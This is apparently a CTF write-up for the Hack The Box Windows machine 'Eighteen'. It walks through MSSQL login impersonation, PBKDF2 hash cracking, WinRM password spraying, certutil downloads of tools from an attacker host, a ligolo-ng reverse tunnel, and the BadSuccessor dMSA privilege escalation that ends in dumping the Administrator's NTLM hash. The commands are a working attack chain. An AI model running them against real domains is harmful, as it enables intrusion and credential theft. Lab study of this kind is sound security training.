sudo vim /etc/hosts
# map target IP to eighteen.htb
nmap -T4 -p- -A -Pn -v eighteen.htb-
open ports & services:
- 80/tcp - http - Microsoft IIS httpd 10.0
- 1433/tcp - ms-sql-s - Microsoft SQL Server 2022
- 5985/tcp - http - Microsoft HTTPAPI httpd 2.0
-
for this Windows box, we are given the creds for user 'kevin'
-
checking the webpage, we have a basic finance webpage with register and login functionality
-
web enumeration:
gobuster dir -u http://eighteen.htb -w /usr/share/wordlists/dirb/common.txt -x txt,php,html -t 10 # basic directory scan ffuf -c -u "http://eighteen.htb" -H "Host: FUZZ.eighteen.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 25 -fs 143 -s # subdomain scan
-
the given creds for 'kevin' do not work in the login page, so we can attempt to create a test account and login
-
logging in, we have a /dashboard page and an '/admin' page that cannot be accessed; we can explore the features and inputs in dashboard via Burp Suite
-
checking the inputs on dashboard, we have the following endpoints:
- /update_income - POST request with 'monthly_salary' parameter
- /add_expense - POST request with parameters 'category', 'type' and 'value'
- /update_allocation - POST request with parameters 'savings' and 'investments'
- /delete_expense/1 - POST request with request no.
-
if we attempt to inject a
'to test for SQLi for most of the endpoints, we get a 500 Internal Server Error page -
simultaneously, we can check if we are able to bruteforce login for 'admin' user to get access to admin dashboard:
# get format by intercepting login request hydra -l admin -P /usr/share/wordlists/rockyou.txt -f eighteen.htb http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid username or password."
-
checking the MSSQL service on port 1433, we can attempt to login as 'kevin' using given creds for MSSQL enum:
impacket-mssqlclient kevin:'iNa2we6haRj2gaw!'@eighteen.htb # this works and we are able to log in SELECT name FROM sys.databases; # this includes the 'financial_planner' DB SELECT * FROM financial_planner.information_schema.tables; # this does not work as 'kevin' does not have access to this DB SELECT name FROM master.sys.server_principals # this lists all users - and includes 1 more non-default username 'appdev'
-
'kevin' does not have a lot of access in MSSQL, but we need to enumerate this service further - we can use
nxcto check for MSSQL:nxc mssql eighteen.htb -u kevin -p 'iNa2we6haRj2gaw!' --local-auth -q 'SELECT name FROM master.dbo.sysdatabases;' # checking we have DB command execution nxc mssql eighteen.htb -u kevin -p 'iNa2we6haRj2gaw!' --local-auth -x ipconfig # we do not have system-level command exeuction nxc mssql eighteen.htb -u kevin -p 'iNa2we6haRj2gaw!' --local-auth -M mssql_priv # to check using 'mssql_priv' module for privesc # this shows that we can impersonate user 'appdev' nxc mssql eighteen.htb -u kevin -p 'iNa2we6haRj2gaw!' --local-auth -M mssql_priv -o ACTION=privesc # attempt privesc by impersonating user 'appdev' # this does not work nxc mssql eighteen.htb -u kevin -p 'iNa2we6haRj2gaw!' --local-auth --rid-brute # attempt RID bruteforce
-
the RID bruteforce in
nxcfor MSSQL gives a lot of usernames under the 'EIGHTEEN' domain - so we can note down all of the non-standard usernames:vim eighteen-users # paste all usernames -
as we have an updated list of usernames now, we can attempt bruteforcing for the webpage as well as the MSSQL instance:
hydra -L eighteen-users -P /usr/share/wordlists/rockyou.txt -f eighteen.htb http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid username or password." # web login bruteforce nxc mssql eighteen.htb -u eighteen-users -p /usr/share/wordlists/rockyou.txt --ignore-pw-decoding --continue-on-success --local-auth
-
simultaneously, we can attempt to impersonate the user found earlier - 'appdev' - and try to see if this user has access to the webpage DB:
impacket-mssqlclient kevin:'iNa2we6haRj2gaw!'@eighteen.htb help # shows the 'enum_impersonate' module enum_impersonate # confirms we can impersonate 'appdev' user exec_as_login appdev # we are now impersonating 'appdev' SELECT * FROM financial_planner.information_schema.tables; # this time we are able to list the tables # includes multiple tables, our main interest is 'users' USE financial_planner # use this DB SELECT * FROM users; # this gives us a hash for 'admin'
-
from the 'users' table in the 'financial_planner' DB, we get a single entry for 'admin' user along with a PBKDF2 SHA256 hash - so we can stop the previous bruteforce attempt
-
looking at the hash format, it is in the format of
pbkdf2:sha256:600000$<salt>$<hash> -
Googling this hash format shows that it is based on PBKDF2-HMAC-SHA256 algo, commonly seen in Werkzeug webapps, and the format refers to 60000 iterations (hashing rounds), salt in plaintext/ASCII (it looks like base64 but it is not), and hash in hex data
-
for
hashcat, PBKDF2-HMAC-SHA256 hashes can be cracked by mode 10900, but requires the salt & hash in base64 format -
to test the hash is getting converted properly before cracking, we can create a test user with password 'password', and attempt to crack it
-
suppose the test 'password' gives us the stored hash 'pbkdf2:sha256:600000$Srnyjape0qN6V4kY$de7a39384379ca503d2853ac4cd5de3a4e452b2d07b5ea6d574ad054db556e80' - here is how we can crack it:
base64hash=$(echo -n 'de7a39384379ca503d2853ac4cd5de3a4e452b2d07b5ea6d574ad054db556e80' | xxd -r -p | base64) # converts the hex data into binary bytes, which can be converted into base64 # this gives the base64-encoded hash base64salt=$(echo -n 'Srnyjape0qN6V4kY' | base64) # converts the ASCII into base64 data # this gives the base64-encoded salt echo "sha256:600000:$base64salt:$base64hash" > testhash # format hash to be supported by mode 10900 in hashcat cat testhash # verify it is in correct format hashcat -m 10900 testhash /usr/share/wordlists/rockyou.txt --force # this works
-
so we can apply the same logic to the admin hash found - cracking it gives us the plaintext password 'iloveyou1'
-
using this password, we can login to the webpage as 'admin' and navigate to the /admin endpoint - it discloses the DB is using "MSSQL (dc01.eighteen.htb)", indicating a possible AD environment
-
the app name 'Flask Financial Planner v1.0' is also provided, but Googling for any exploits associated with it does not show anything
-
we can attempt to use this password found to enumerate port 5985 (WinRM) as we already have a list of users:
vim eighteen-users # add 'kevin' and 'appdev' vim eighteen-passwords # 'iloveyou1' and the given cleartext password for 'kevin' nxc winrm eighteen.htb -u eighteen-users -p eighteen-passwords --ignore-pw-decoding --continue-on-success # winrm bruteforce
-
the WinRM bruteforce gives us a valid pair of creds 'adam.scott:iloveyou1' for the 'eighteen.htb' domain
-
login as 'adam.scott':
evil-winrm -i eighteen.htb -u adam.scott -p iloveyou1 # this workscd C:\Users\adam.scott\Desktop type user.txt # user flag # enumerate the folders dir C:\ dir C:\inetpub # enumerate subfolders for any clues dir C:\inetpub\eighteen.htb type C:\inetpub\eighteen.htb\app.py # gives cleartext password dir C:\Users
-
we get one more cleartext password 'MissThisElite$90' from the Python app code for user 'appdev' - attempting a password spray for other users does not help here
-
enumerating other subfolders do not give a lot of clues, so we can start by checking via
winpeas:cd C:\Users\adam.scott # fetch winpeas from attacker certutil -urlcache -f http://10.10.14.21:8000/winPEASx64.exe winpeas.exe .\winpeas.exe
-
not a lot of findings from
winpeas, only thing it shows is that there is no AV running on the box -
AD enumeration:
net user /domain # list all domain users net group /domain # list all domain groups net group "Domain Admins" /domain # check 'Domain Admins' group - only Administrator is part of this group
-
as it is a AD environment, we can use
bloodhoundto get info from this box first:# fetch collector script from attacker certutil -urlcache -f http://10.10.14.21:8000/SharpHound.ps1 SharpHound.ps1 Import-Module .\SharpHound.ps1 Invoke-BloodHound -CollectionMethod All # this does not work # using ldapuser and ldappass args to pass creds also does not work # testing with a different write location works Invoke-BloodHound -CollectionMethod All -domain eighteen.htb -OutputDirectory C:\Users\adam.scott\AppData\Local\Temp -ZipFilename eighteen.zip # download the file via evil-winrm download C:\\Users\\adam.scott\\AppData\\Local\\Temp\\20251121045617_eighteen.zip /home/sv/eighteen.zip # double-slash is required otherwise path is not read correctly
# in attacker ls eighteen.zip # verify ZIP file has been copied properly # start neo4j and bloodhound sudo neo4j start bloodhound
-
after logging into
bloodhound, navigate to Administration > Data Collection > File Ingest - Upload Files - and upload the ZIP file -
then, navigate to Explore > Cypher > Pre-built Searches, and start checking for any findings
-
findings from
bloodhound:- only 1 computer is shown, dc01.eighteen.htb - the box we are currently on; can be confirmed using Cypher query
MATCH (m:Computer) RETURN m(ensure this domain is also mapped to target IP in/etc/hosts) - 'adam.scott' and 'bob.brown' are part of IT group, which has 'CanPSRemote' rights to dc01 box
- the IT group, along with Finance and HR groups, is part of Staff OU
- only 1 computer is shown, dc01.eighteen.htb - the box we are currently on; can be confirmed using Cypher query
-
we can also use
PowerViewto check for any interesting permissions:# fetch PowerView certutil -urlcache -f http://10.10.14.21:8000/PowerView.ps1 PowerView.ps1 Import-Module .\PowerView.ps1 Get-NetDomain # domain info Get-NetComputer | select operatingsystem,dnshostname # list OS, DNS name Get-NetUser -SPN | select samaccountname,serviceprincipalname # check for SPNs Find-DomainShare -CheckShareAccess # check for any shares Invoke-ACLScanner -ResolveGUIDs # check for any interesting ACL entries
-
findings from
PowerView:-
the box is running Windows Server 2025 Datacenter OS
-
only 'krbtgt' user is mapped to a SPN
-
Invoke-ACLScanner -ResolveGUIDsshows a non-default entry:ObjectDN : OU=Staff,DC=eighteen,DC=htb AceQualifier : AccessAllowed ActiveDirectoryRights : CreateChild ObjectAceType : None AceFlags : None AceType : AccessAllowed InheritanceFlags : None SecurityIdentifier : S-1-5-21-1152179935-589108180-1989892463-1604 IdentityReferenceName : IT IdentityReferenceDomain : eighteen.htb IdentityReferenceDN : CN=IT,OU=Staff,DC=eighteen,DC=htb IdentityReferenceClass : group
-
this entry shows that the IT group has 'CreateChild' rights under the Staff OU
-
-
checking more on the OS itself:
systeminfo # access denied wmic os get caption,version,buildnumber /format:list # access denied Get-ComputerInfo # this does not show all entries, but we get some info
-
the box is running Windows Server 2025 Datacenter, build 26100
-
Googling for exploits (and based on hints) associated with 'CreateChild' rights on an OU leads to the BadSuccessor exploit:
- privesc vulnerability in Windows Server 2025 AD
- flaw in the new dMSA (Delegated Managed Service Account) feature in Windows Server boxes, meant to replace legacy service accounts
- a feature provided by dMSA is to migrate existing nonmanaged service accounts by converting them into dMSAs - this is used as a privesc vector
- any user that has 'CreateChild' rights on any OU can create a dMSA - this is the key prerequisite for this exploit
-
steps to exploit the BadSuccessor vulnerability, briefly:
- create a malicious dMSA within the OU
- modify key attributes of this dMSA object to link it to a privileged account, and simulate a completed migration
- request delegation ticket using Rubeus
- request TGT as malicious dMSA
- use ticket to abuse Kerberos
-
we can refer this blog for the BadSuccessor exploit, and for abusing dMSAs from Kali, refer this blog:
-
create the rogue dMSA and link it to Administrator using BadSuccessor.ps1:
# fetch script from attacker certutil -urlcache -f http://10.10.14.21:8000/BadSuccessor.ps1 BadSuccessor.ps1 Import-Module .\BadSuccessor.ps1 BadSuccessor -mode exploit -Path "OU=Staff,DC=eighteen,DC=htb" -Name "bad_DMSA" -DelegatedAdmin "adam.scott" -DelegateTarget "Administrator" -domain "eighteen.htb" # OU details fetched from ObjectDN field in PowerView output # this confirms the rogue dMSA object is created
-
finalize the dMSA link using SharpSuccessor - this is required to simulate the migration:
- this project does not have a compiled '.exe', so we need to build the '.sln' file
- in a Windows box, clone the repo, open it as a folder in Visual Studio
- click on the '.sln' file and load it
- once loaded, navigate to Build > Build Solution
- after it is completed, the executable is in the project's 'bin' folder ('debug'/'release' subfolder)
- transfer exe to attacker
# fetch SharpSuccessor from attacker certutil -urlcache -f http://10.10.14.21:8000/SharpSuccessor.exe SharpSuccessor.exe # link dMSA .\SharpSuccessor.exe add /impersonate:Administrator /path:"OU=Staff,DC=eighteen,DC=htb" /account:adam.scott /name:bad_DMSA # this may give an exception/warning, but it can be ignored if the dMSA object is weaponized
-
after that, we need to request delegation TGT using Rubeus:
# fetch Rubeus.exe from attacker certutil -urlcache -f http://10.10.14.21:8000/Rubeus.exe Rubeus.exe # generate TGT for ourself, to use in PTT attacks .\Rubeus.exe tgtdeleg /nowrap # this step did not work
-
this step with
Rubeuskept giving the error "AcquireCredentialsHandle" - as this step involves Kerberos protocol, it is likely that we are bumping into a restriction so we need to try further steps from attacker -
we need to tunnel the traffic first via
ligolo-ngso that attacker tools can be used:# on attacker sudo ip tuntap add user sv mode tun ligolo sudo ip link set ligolo up ~/Tools/ligolo-ng/proxy -selfcert # run the proxy
# in evil-winrm, fetch agent file certutil -urlcache -f http://10.10.14.21:8000/ligolo-ng-windows/agent.exe agent.exe .\agent.exe -connect 10.10.14.21:11601 -ignore-cert # connect to attacker
# on attacker, in ligolo shell, we get the connection session # select the session ifconfig # verify IP info # start tunneling start
-
once the tunnel is set up, as
Rubeusdid not work, we can attempt to usegetTGT.py&getST.pyfromimpacket, to request a forwardable TGT for current user via Kerberos, using the malicious dMSA:# on attacker # for this to work, ensure impacket is on latest release (v13 at least) python3 -m pipx install impacket getTGT.py -h getST.py -h # verify version
-
as we need to use the target's internal ports (to access Kerberos service), we need to use the 'magic' IP provided by
ligolo-ng- 240.0.0.1 - in order to interact with it:# on attacker sudo ip route add 240.0.0.1/32 dev ligolo # add this magic IP to routing table for 'ligolo' interface # in ligolo shell, stop and start the tunneling stop start
# first, request a valid TGT for our user getTGT.py 'eighteen.htb/adam.scott:iloveyou1' -dc-ip 240.0.0.1 # this saves the ticket in 'adam.scott.ccache' # save the ccache to an env var export KRB5CCNAME=adam.scott.ccache
getST.py eighteen.htb/adam.scott -dc-ip 240.0.0.1 -impersonate bad_DMSA$ -self -dmsa -k -no-pass # format referred from getST.py command syntax # this requests service tickets (TGS) # -impersonate is to target the malicious dMSA we created # -self as we are generating TGS for ourselves # -dc-ip to refer to the target, which we are accessing through the magic IP # -k and -no-pass as we are using Kerberos TGT for authentication, and not password method
-
getST.pymay throw an errorKerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)- this means we need to correct the clock skew first:# we can modify the clock skew using 'rdate' sudo apt install rdate sudo timedatectl set-ntp off # disable NTP from auto-updating sudo rdate -n 240.0.0.1 # refer rdate to match the target IP getST.py eighteen.htb/adam.scott -dc-ip 240.0.0.1 -impersonate bad_DMSA$ -self -dmsa -k -no-pass # this works, and a ticket is generated # note down the ticket ccache value and save it to an env var export KRB5CCNAME=bad_DMSA\$@krbtgt_EIGHTEEN.HTB@EIGHTEEN.HTB.ccache # escape the '$' sign for it to get interpreted correctly
-
now that we have the ticket generated impersonating the malicious dMSA for the Administrator, we can abuse it to dump NTLM hashes:
secretsdump.py -k -no-pass dc01.eighteen.htb # where dc01.eighteen.htb is the domain name for the DC # this does not work due to 'policy SPN target name validation' # and we are prompted to use '-just-dc-user' to target only one user secretsdump.py -k -no-pass dc01.eighteen.htb -just-dc-user Administrator -dc-ip 240.0.0.1 -target-ip 240.0.0.1 -debug # the '-dc-ip' and '-target-ip' fields are needed, otherwise we get connection errors # -debug switch used to check verbose logs # may need to try this step multiple times, and if the tickets expire we need to generate them again from the first step
-
secretsdumpgives us the Administrator NTLM hashes, we can use it to log into the box now:evil-winrm -i eighteen.htb -u Administrator -H 0b133be956bfaddf9cea56701affddec # login works type C:\Users\Administrator\Desktop\root.txt # root flag
-